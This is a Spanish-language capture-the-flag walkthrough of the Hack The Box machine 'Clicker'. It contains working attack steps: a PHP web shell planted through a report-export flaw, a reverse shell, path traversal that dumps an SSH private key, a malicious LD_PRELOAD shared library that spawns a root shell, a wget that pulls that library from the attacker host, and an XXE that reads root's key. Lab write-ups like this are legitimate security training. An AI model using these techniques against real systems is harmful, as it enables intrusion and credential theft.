Hack The Box: Clicker Writeup | Medium

Table of Contents

Hack The Box: Clicker Writeup

Welcome to my detailed writeup of the medium difficulty machine “Clicker” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.244.53 --ulimit 5000 -g
210.129.244.53 -> [22,80,111,2049,34153,44465,45613,59011]
 1$ nmap -p22,80,111,2049,34153,44465,45613,59011 -sCV 10.129.244.53 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 19:16 CEST
 3Nmap scan report for 10.129.244.53
 4Host is up (0.037s latency).
 5
 6PORT      STATE SERVICE  VERSION
 722/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
10|_  256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
1180/tcp    open  http     Apache httpd 2.4.52 ((Ubuntu))
12|_http-server-header: Apache/2.4.52 (Ubuntu)
13|_http-title: Did not follow redirect to http://clicker.htb/
14111/tcp   open  rpcbind  2-4 (RPC #100000)
15| rpcinfo: 
16|   program version    port/proto  service
17|   100000  2,3,4        111/tcp   rpcbind
18|   100000  2,3,4        111/udp   rpcbind
19|   100000  3,4          111/tcp6  rpcbind
20|   100000  3,4          111/udp6  rpcbind
21|   100003  3,4         2049/tcp   nfs
22|   100003  3,4         2049/tcp6  nfs
23|   100005  1,2,3      50307/tcp6  mountd
24|   100005  1,2,3      56563/udp6  mountd
25|   100005  1,2,3      58331/udp   mountd
26|   100005  1,2,3      59011/tcp   mountd
27|   100021  1,3,4      34153/tcp   nlockmgr
28|   100021  1,3,4      37231/tcp6  nlockmgr
29|   100021  1,3,4      43295/udp   nlockmgr
30|   100021  1,3,4      57855/udp6  nlockmgr
31|   100024  1          43849/tcp6  status
32|   100024  1          45440/udp   status
33|   100024  1          45613/tcp   status
34|   100024  1          49433/udp6  status
35|   100227  3           2049/tcp   nfs_acl
36|_  100227  3           2049/tcp6  nfs_acl
372049/tcp  open  nfs_acl  3 (RPC #100227)
3834153/tcp open  nlockmgr 1-4 (RPC #100021)
3944465/tcp open  mountd   1-3 (RPC #100005)
4045613/tcp open  status   1 (RPC #100024)
4159011/tcp open  mountd   1-3 (RPC #100005)
42Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
43
44Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
45Nmap done: 1 IP address (1 host up) scanned in 10.86 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.244.53 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 19:17 CEST
 3Nmap scan report for 10.129.244.53
 4Host is up (0.037s latency).
 5Not shown: 1493 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 7111/udp   open   rpcbind
 8998/udp   closed puparp
 917205/udp closed unknown
1021111/udp closed unknown
1126191/udp closed unknown
1231520/udp closed unknown
1355544/udp closed unknown
14
15Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds

En el servicio web del puerto 80 vemos una redirección a clicker.htb , lo agregamos al /etc/hosts

NFS Enumeration

Interesante que se encuentre el NFS abierto, ya que me pareció extraño vamos a enumerarlo lo primero.

Primero vamos a montar todo lo que se encuentre en el servidor.

1$ sudo mount -t nfs 10.129.244.53:/ /mnt/montura
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/clicker/scan]
3└──╼ [★]$ ls -la /mnt/montura
4total 8
5drwxr-xr-x 18 root root 4096 sep  5  2023 .
6drwxr-xr-x  1 root root   14 ago 13 19:20 ..
7drwxr-xr-x  3 root root 4096 sep  5  2023 mnt
1$ find . -type f
2./mnt/backups/clicker.htb_backup.zip

Solo vemos un archivo .zip

Write-up Image Contiene lo que parece archivos de un sitio web.

Analizando los archivos encontramos unas credenciales que quizás nos sirvan. Write-up Image

clicker_db_user:clicker_db_password

Todavía no quiero meterme a analizar el código mas profundamente, primero vamos a ver la funcionalidad del aplicativo.

HTTP Enumeration

Multiple XSS

Así se ve el sitio web, parece una especie de juego en el navegador. Write-up Image

Vemos que podemos visualizar mi perfil. Quizás se pueda acontecer un XSS aquí. Write-up Image

Vemos que este es el juego, se basa en dar clicks y ir subiendo de nivele Write-up Image

Al guardar la partida podemos manipular el mensaje de guardado y se produce un XSS. Write-up Image

Vemos que para guardar la partida se hace una petición GET al recurso save_game.php y mediante los query params clicks y level indicamos el progreso. Write-up Image

Haciendo una petición a http://clicker.htb/save_game.php?clicks=120&level=120 vemos que se guarda el progreso, así que podemos modificar el progreso a nuestro gusto.

Write-up Image

Al autenticarnos erróneamente también podemos modificar el mensaje informativo y se acontece otro XSS. Write-up Image

Discovering SQL Injection | Mass Assignment Vulnerability

Si introducimos una ' como clicks y niveles vemos que el servidor responde con un estado de error 500. Puede que este end-point sea vulnerable a SQL Injection. Como tenemos el código podemos revisarlo. Write-up Image

Al revisar el código de save_game.php me encontré con algo mucho mas interesante.

Este código recorre todos parámetros y los pasa a una función que hará un UPDATE utilizando como campo a actualizar el parámetro que le pasemos. Pero tiene una pequeña protección para no poder cambiar el role Write-up Image Write-up Image

Vemos que por defecto el rol establecido a los usuarios es User , así que supongo que existirá el rol Admin o Administrator Write-up Image

En principio no podemos modificar el rol pero si otros campos, eso es interesante.

Cambiando el username podemos conseguir otro XSS Write-up Image

Cambiando el campo nickname y posteriormente revisando nuestro perfil también. Write-up Image

Como alcancé un punto donde no encontraba nada, me puse a investigar sobre la condición para poder cambiar mi rol de usuario.

CRLF Injection

Me encontré este artículo en Hacktricks

E inyectando un retorno de carro realmente no afectaría a la consulta SQL ya que a parte de que está sanitizada, se seguiría interpretando, pero ya no cumpliría la condición de que %0d%arole === 'role' Write-up Image

Y nos hemos convertido administradores. Write-up Image

Vemos una función para exportar una especie de reporte de los mejores jugadores. Write-up Image

Así es como se ve el reporte. Write-up Image

Foothold

Y revisando el código de export.php descubrí una cosa crítica, y es que podemos controlar la extensión mediante el parámetro extension. Por lo cual.. Write-up Image Podemos interceptar la petición con burpsuite y modificar el parámetro extension para establecer que queremos guardar un archivo php. Write-up Image

Y vaya… Podemos crear archivos PHP. Write-up Image

Ahora, si recordamos, podemos modificar cualquier campo mediante el recurso save_game.php

El vector de ataque es editar el nickname de un usuario introduciendo un código PHP, para después crear un reporte en el que modificaremos la extensión para que sea PHP e interprete el código inyectado en el campo nickname y así conseguir ejecución remota de comandos.

Por lo cual, cambiamos el nickname para ver si nos carga el phpinfo. Write-up Image

Creamos el reporte modificando la extensión.. Write-up Image

Y podemos crear nuestro propio archivo PHP, así que vamos a crear una web shell. Write-up Image

Cambiamos el nickname… Write-up Image

¡Y tenemos ejecución remota de comandos! Write-up Image

Podemos comprobar que no estamos en ningún contenedor. Write-up Image

Y con pwncat-cs nos podemos poner en escucha por el puerto 443 y mandarnos la revshell.

Write-up Image

Write-up Image

Todavía no podemos ver la flag, vemos que hay un usuario llamado jack Write-up Image

User Pivoting

Buscando por binarios con permisos SUID encontramos un binario un tanto extraño

 1(remote) www-data@clicker:/var/www/clicker.htb/exports$ find / \-perm -4000 2>/dev/null
 2/usr/bin/sudo
 3/usr/bin/chsh
 4/usr/bin/gpasswd
 5/usr/bin/fusermount3
 6/usr/bin/su
 7/usr/bin/umount
 8/usr/bin/newgrp
 9/usr/bin/chfn
10/usr/bin/passwd
11/usr/bin/mount
12/usr/lib/openssh/ssh-keysign
13/usr/lib/dbus-1.0/dbus-daemon-launch-helper
14/usr/libexec/polkit-agent-helper-1
15/usr/sbin/mount.nfs
16/opt/manage/execute_query
1(remote) www-data@clicker:/var/www/clicker.htb/exports$ ls -la /opt/manage/execute_query
2-rwsrwsr-x 1 jack jack 16368 Feb 26  2023 /opt/manage/execute_query

Vemos que pertenece a jack

Podemos echar un vistazo con ghidra a este binario.

 1undefined8 main(int param_1,long param_2)
 2
 3{
 4  int iVar1;
 5  undefined8 uVar2;
 6  char *pcVar3;
 7  size_t sVar4;
 8  size_t sVar5;
 9  char *__dest;
10  long in_FS_OFFSET;
11  undefined8 local_98;
12  undefined8 local_90;
13  undefined4 local_88;
14  undefined8 local_78;
15  undefined8 local_70;
16  undefined8 local_68;
17  undefined8 local_60;
18  undefined8 local_58;
19  undefined8 local_50;
20  undefined8 local_48;
21  undefined8 local_40;
22  undefined8 local_38;
23  undefined8 local_30;
24  undefined local_28;
25  long local_20;
26  
27  local_20 = *(long *)(in_FS_OFFSET + 0x28);
28  if (param_1 < 2) {
29    puts("ERROR: not enough arguments");
30    uVar2 = 1;
31  }
32  else {
33    iVar1 = atoi(*(char **)(param_2 + 8));
34    pcVar3 = (char *)calloc(0x14,1);
35    switch(iVar1) {
36    case 0:
37      puts("ERROR: Invalid arguments");
38      uVar2 = 2;
39      goto LAB_001015e1;
40    case 1:
41      strncpy(pcVar3,"create.sql",0x14);
42      break;
43    case 2:
44      strncpy(pcVar3,"populate.sql",0x14);
45      break;
46    case 3:
47      strncpy(pcVar3,"reset_password.sql",0x14);
48      break;
49    case 4:
50      strncpy(pcVar3,"clean.sql",0x14);
51      break;
52    default:
53      strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);
54    }
55    local_98 = 0x616a2f656d6f682f;
56    local_90 = 0x69726575712f6b63;
57    local_88 = 0x2f7365;
58    sVar4 = strlen((char *)&local_98);
59    sVar5 = strlen(pcVar3);
60    __dest = (char *)calloc(sVar5 + sVar4 + 1,1);
61    strcat(__dest,(char *)&local_98);
62    strcat(__dest,pcVar3);
63    setreuid(1000,1000);
64    iVar1 = access(__dest,4);
65    if (iVar1 == 0) {
66      local_78 = 0x6e69622f7273752f;
67      local_70 = 0x2d206c7173796d2f;
68      local_68 = 0x656b63696c632075;
69      local_60 = 0x6573755f62645f72;
70      local_58 = 0x737361702d2d2072;
71      local_50 = 0x6c63273d64726f77;
72      local_48 = 0x62645f72656b6369;
73      local_40 = 0x726f77737361705f;
74      local_38 = 0x6b63696c63202764;
75      local_30 = 0x203c20762d207265;
76      local_28 = 0;
77      sVar4 = strlen((char *)&local_78);
78      sVar5 = strlen(pcVar3);
79      pcVar3 = (char *)calloc(sVar5 + sVar4 + 1,1);
80      strcat(pcVar3,(char *)&local_78);
81      strcat(pcVar3,__dest);
82      system(pcVar3);
83    }
84    else {
85      puts("File not readable or not found");
86    }
87    uVar2 = 0;
88  }

Resumidamente este código hace lo siguiente:

1. Revisión de Argumentos:

2. Asignación de Nombre de Archivo:

Es decir, que como segundo argumento podemos poner lo que sea y de tercer argumento podemos poner un archivo y el binario leerá este archivo y lo reportará por pantalla y como este binario debido al permiso SUID lo está ejecutando jack podríamos intentar leer archivos de este usuario.

Primero vamos a leer el /etc/passwd para comprobar que esto es así.

 1(remote) www-data@clicker:/var/www/clicker.htb/exports$ /opt/manage/execute_query 2123123 ../../../etc/passwd
 2mysql: [Warning] Using a password on the command line interface can be insecure.
 3--------------
 4root:x:0:0:root:/root:/bin/bash
 5daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 6bin:x:2:2:bin:/bin:/usr/sbin/nologin
 7sys:x:3:3:sys:/dev:/usr/sbin/nologin
 8sync:x:4:65534:sync:/bin:/bin/sync
 9games:x:5:60:games:/usr/games:/usr/sbin/nologin
10man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
11lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
12mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
13news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
14uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
15proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
16www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
17backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
18list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
19irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
20gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
21nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
22.........

Y funciona. Tener en cuenta que este archivo lo hemos leido como jack

Por alguna razón no podía leer la id_rsa.

1(remote) www-data@clicker:/var/www/clicker.htb/exports$ /opt/manage/execute_query 2123 ../../../home/jack/.ssh/id_rsa
2mysql: [Warning] Using a password on the command line interface can be insecure.
3ERROR: Can't initialize batch_readline - may be the input source is a directory or a block device.

Probando un rato por alguna razón probando ../.ssh/id_rsa pude leer la clave privada de jack

 1(remote) www-data@clicker:/var/www/clicker.htb/exports$ /opt/manage/execute_query 21 ../.ssh/id_rsa
 2mysql: [Warning] Using a password on the command line interface can be insecure.
 3--------------
 4-----BEGIN OPENSSH PRIVATE KEY---
 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
41-----END OPENSSH PRIVATE KEY---
42--------------
43
44ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-----BEGIN OPENSSH PRIVATE KEY---
45b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA' at line 1

Ahora que tenemos la clave privada de jack podemos iniciar sesión por SSH como este usuario

 1$ chmod 600 id_rsa 
 2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/clicker/content]
 3└──╼ [★]$ ssh -i id_rsa jack@clicker.htb
 4Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)
 5
 6 * Documentation:  https://help.ubuntu.com
 7 * Management:     https://landscape.canonical.com
 8 * Support:        https://ubuntu.com/advantage
 9
10  System information as of Tue Aug 13 04:52:32 PM UTC 2024
11
12  System load:           0.00439453125
13  Usage of /:            53.3% of 5.77GB
14  Memory usage:          19%
15  Swap usage:            0%
16  Processes:             247
17  Users logged in:       0
18  IPv4 address for eth0: 10.129.244.53
19  IPv6 address for eth0: dead:beef::250:56ff:fe94:b37a
20
21
22Expanded Security Maintenance for Applications is not enabled.
23
240 updates can be applied immediately.
25
26Enable ESM Apps to receive additional future security updates.
27See https://ubuntu.com/esm or run: sudo pro status
28
29
30The list of available updates is more than a week old.
31To check for new updates run: sudo apt update
32
33Last login: Tue Aug 13 16:52:33 2024 from 10.10.14.85
34To run a command as administrator (user "root"), use "sudo <command>".
35See "man sudo_root" for details.
36
37jack@clicker:~$ whoami
38jack

Y podríamos leer la flag

1ack@clicker:~$ cat user.txt 
2d97427a66f43a70a...

Privilege Escalation

Podemos observar que jack puede ejecutar cualquier comando como el usuario que el quiera pero necesitamos la credencial de jack, cosa que no tenemos.

Además podemos ejecutar como root y sin contraseña el script /opt/monitor.sh

1jack@clicker:~$ sudo -l
2Matching Defaults entries for jack on clicker:
3    env_reset, mail_badpass,
4    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
5    use_pty
6
7User jack may run the following commands on clicker:
8    (ALL : ALL) ALL
9    (root) SETENV: NOPASSWD: /opt/monitor.sh

También detectamos que este usuario pertenece al grupo adm por lo cual podríamos leer algunos logs en /var/log

No podemos modificar este script.

1-rwxr-xr-x 1 root root 504 Jul 20  2023 /opt/monitor.sh

Ejecutando este script nos devuelve un fichero XML

 1<?xml version="1.0"?>
 2<data>
 3  <timestamp>1723571776</timestamp>
 4  <date>2024/08/13 05:56:16pm</date>
 5  <php-version>8.1.2-1ubuntu2.14</php-version>
 6  <test-connection-db>OK</test-connection-db>
 7  <memory-usage>392704</memory-usage>
 8  <environment>
 9    <APACHE_RUN_DIR>/var/run/apache2</APACHE_RUN_DIR>
10    <SYSTEMD_EXEC_PID>1173</SYSTEMD_EXEC_PID>
11    <APACHE_PID_FILE>/var/run/apache2/apache2.pid</APACHE_PID_FILE>
12    <JOURNAL_STREAM>8:26796</JOURNAL_STREAM>
13    <PATH>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</PATH>
14    <INVOCATION_ID>9d410bb08fb8413485c944cf3e9f9476</INVOCATION_ID>
15    <APACHE_LOCK_DIR>/var/lock/apache2</APACHE_LOCK_DIR>
16    <LANG>C</LANG>
17    <APACHE_RUN_USER>www-data</APACHE_RUN_USER>
18    <APACHE_RUN_GROUP>www-data</APACHE_RUN_GROUP>
19    <APACHE_LOG_DIR>/var/log/apache2</APACHE_LOG_DIR>
20    <PWD>/</PWD>
21  </environment>
22</data>
 1#!/bin/bash
 2if [ "$EUID" -ne 0 ]
 3  then echo "Error, please run as root"
 4  exit
 5fi
 6
 7set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
 8unset PERL5LIB;
 9unset PERLLIB;
10
11data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
12/usr/bin/xml_pp <<< $data;
13if [[ $NOSAVE == "true" ]]; then
14    exit;
15else
16    timestamp=$(/usr/bin/date +%s)
17    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
18fi

Si ejecutamos otra vez el sudo -l vemos que tenemos el parámetro SETENV

1(root) SETENV: NOPASSWD: /opt/monitor.sh

Esto significa que podemos inyectar variables de entorno que se pasarán en tiempo de ejecución al script. No podemos hacer un path hijacking ya que vemos que se está reemplazando el PATH dentro del script pero podemos hacer mas cosas.

Buscando un poco en Google podemos encontrar el siguiente artículo Write-up Image

Aquí entra en juego la variable de entorno LD_PRELOAD

What is LD_PRELOAD ?

Ans : LD_PRELOAD is an optional Environment Variable that is used to set/load Shared Libraries to a program or script. That means we can set the value of the LD_PRELOAD Environment Variable for a program to tell the program to load the mentioned libraries in it’s memory before starting.

Y el artículo dicta que debemos revisar si tenemos permiso para establecer variables de entorno (si) y si tenemos establecido env_keep += LD_PRELOAD en el archivo /etc/sudoers . Pero que si tenemos el parámetro SETENV es suficiente.

Enumerate to see if we have permission to set the environment variable for the script or program. In this case we see that we can SETENV which means the same. Also see if the env_keep += LD_PRELOAD is set here or in the sudoers file. In this case we don’t see that but the SETENV is enough.

Por lo cual podemos realizar esta escalada de privilegios creando una librería compartida maliciosa que ejecutará un comando a nivel de sistema. Esta librería se cargará cuando ejecutemos con sudo el script que hemos detectado.

La máquina víctima no tiene gcc así que me va a tocar compilarlo en mi máquina de atacante.

1jack@clicker:/tmp$ which gcc
2jack@clicker:/tmp$

Entonces creamos la librería compartida maliciosa.

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <sys/types.h>
 4
 5void _init() {
 6        unsetenv("LD_PRELOAD");
 7        setuid(0);
 8        setgid(0);
 9        system("/bin/bash -p");
10}

La compilamos…

 1$ gcc -fPIC -shared -nostartfiles -o evil.so evil.c
 2evil.c: In function ‘_init’:
 3evil.c:7:9: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
 4    7 |         setuid(0);
 5      |         ^~~~~~
 6evil.c:8:9: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
 7    8 |         setgid(0);
 8      |         ^~~~~~
 9┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/clicker/content]
10└──╼ [★]$ ls -la evil.so
11-rwxr-xr-x 1 pointedsec pointedsec 14152 ago 13 22:19 evil.so

Nos la pasamos a la máquina víctima

 1jack@clicker:/tmp$ wget http://10.10.14.85:8081/evil.so
 2--2024-08-13 18:20:20--  http://10.10.14.85:8081/evil.so
 3Connecting to 10.10.14.85:8081... connected.
 4HTTP request sent, awaiting response... 200 OK
 5Length: 14152 (14K) [application/octet-stream]
 6Saving to: ‘evil.so’
 7
 8evil.so                100%[==========================>]  13.82K  --.-KB/s    in 0.04s   
 9
102024-08-13 18:20:20 (371 KB/s) - ‘evil.so’ saved [14152/14152]

Y ahora si cargamos nuestra librería compartida maliciosa en memoria del programa estableciendo la variable d entorno LD_PRELOAD

1jack@clicker:/tmp$ sudo LD_PRELOAD=/tmp/evil.so /opt/monitor.sh
2root@clicker:/tmp# id
3uid=0(root) gid=0(root) groups=0(root)

Y podríamos leer la flag

1root@clicker:/tmp# cat /root/root.txt
2afbf7c61dbdb7fa331...

Privilege Escalation -> The intented path

El camino que había que tomar para completar esta máquina no era el que hemos tomado en este write-up.

Si no que como se está utilizando curl podemos establecer la variable de entorno http_proxy aprovechándonos del SETENV para poder modificar los datos que se envían al recurso diagnostic.php y de esta manera poder forzar un XML External Entity Injection (XXE) y de esta forma leer la id_rsa de root y conectarnos por SSH como root

Podemos empaparos un poco de la documentación sobre esta variable de entorno. https://everything.curl.dev/usingcurl/proxies/env.html

Así que primero, en burpsuite vamos a editar nuestro proxy y establecer que esté en escucha por todas las interfaces. Write-up Image

Y ahora si nos ponemos a interceptar las solicitudes y ejecutamos el script estableciendo la variable de entorno http_proxy a nuestro proxy de la máquina atacante.

1jack@clicker:/tmp$ sudo http_proxy=http://10.10.14.85:8080 /opt/monitor.sh

Nos llega la petición y podemos modificarla. Write-up Image

Hay que entender también lo que está pasando pro detrás, y es que el script primero hace una solicitud a diagnostic.php cuya respuesta no podemos controlar, pero eso nos da igual, lo que nos importa es poder modificar la respuesta que recibe el cliente, no la que nos ofrece el recurso diagnostic.php

Ya que esta respuesta se pasa a la utilidad /usr/bin/xml_pp que es donde podemos hacer que se acontezca el XXE.

Por lo cual, al interceptar la petición interceptamos también la respuesta… Write-up Image

Y aquí vamos a inyectar el XXE Write-up Image

Write-up Image

Y si le damos a Forward… Vemos que se carga el /etc/passwd Write-up Image

Como la data se está pasando a la utilidad xml_pp como root, podemos hacer que el XXE cargue la clave privada de root para intentar iniciar sesión por SSH.

Por lo cual repetimos el proceso pero modificamos el XXE. Write-up Image

Y obtenemos la clave privada de root. Write-up Image

Y ya podemos conectarnos como root utilizando su clave privada.

1jack@clicker:/tmp$ nano id_rsa
2jack@clicker:/tmp$ chmod 600 id_rsa 
3jack@clicker:/tmp$ ssh -i id_rsa root@127.0.0.1
4....
5root@clicker:~# id
6uid=0(root) gid=0(root) groups=0(root)

Y ahora sí, ¡ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Clicker   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #Enumerating NFS   #Information Leakage   #XSS   #Mass Assignment Vulnerability   #CRLF Injection   #SQL Injection   #Web Shell   #Reversing Engineering   #Abusing SETENV   #Abusing LD_PRELOAD   #Abusing Http_proxy   #XXE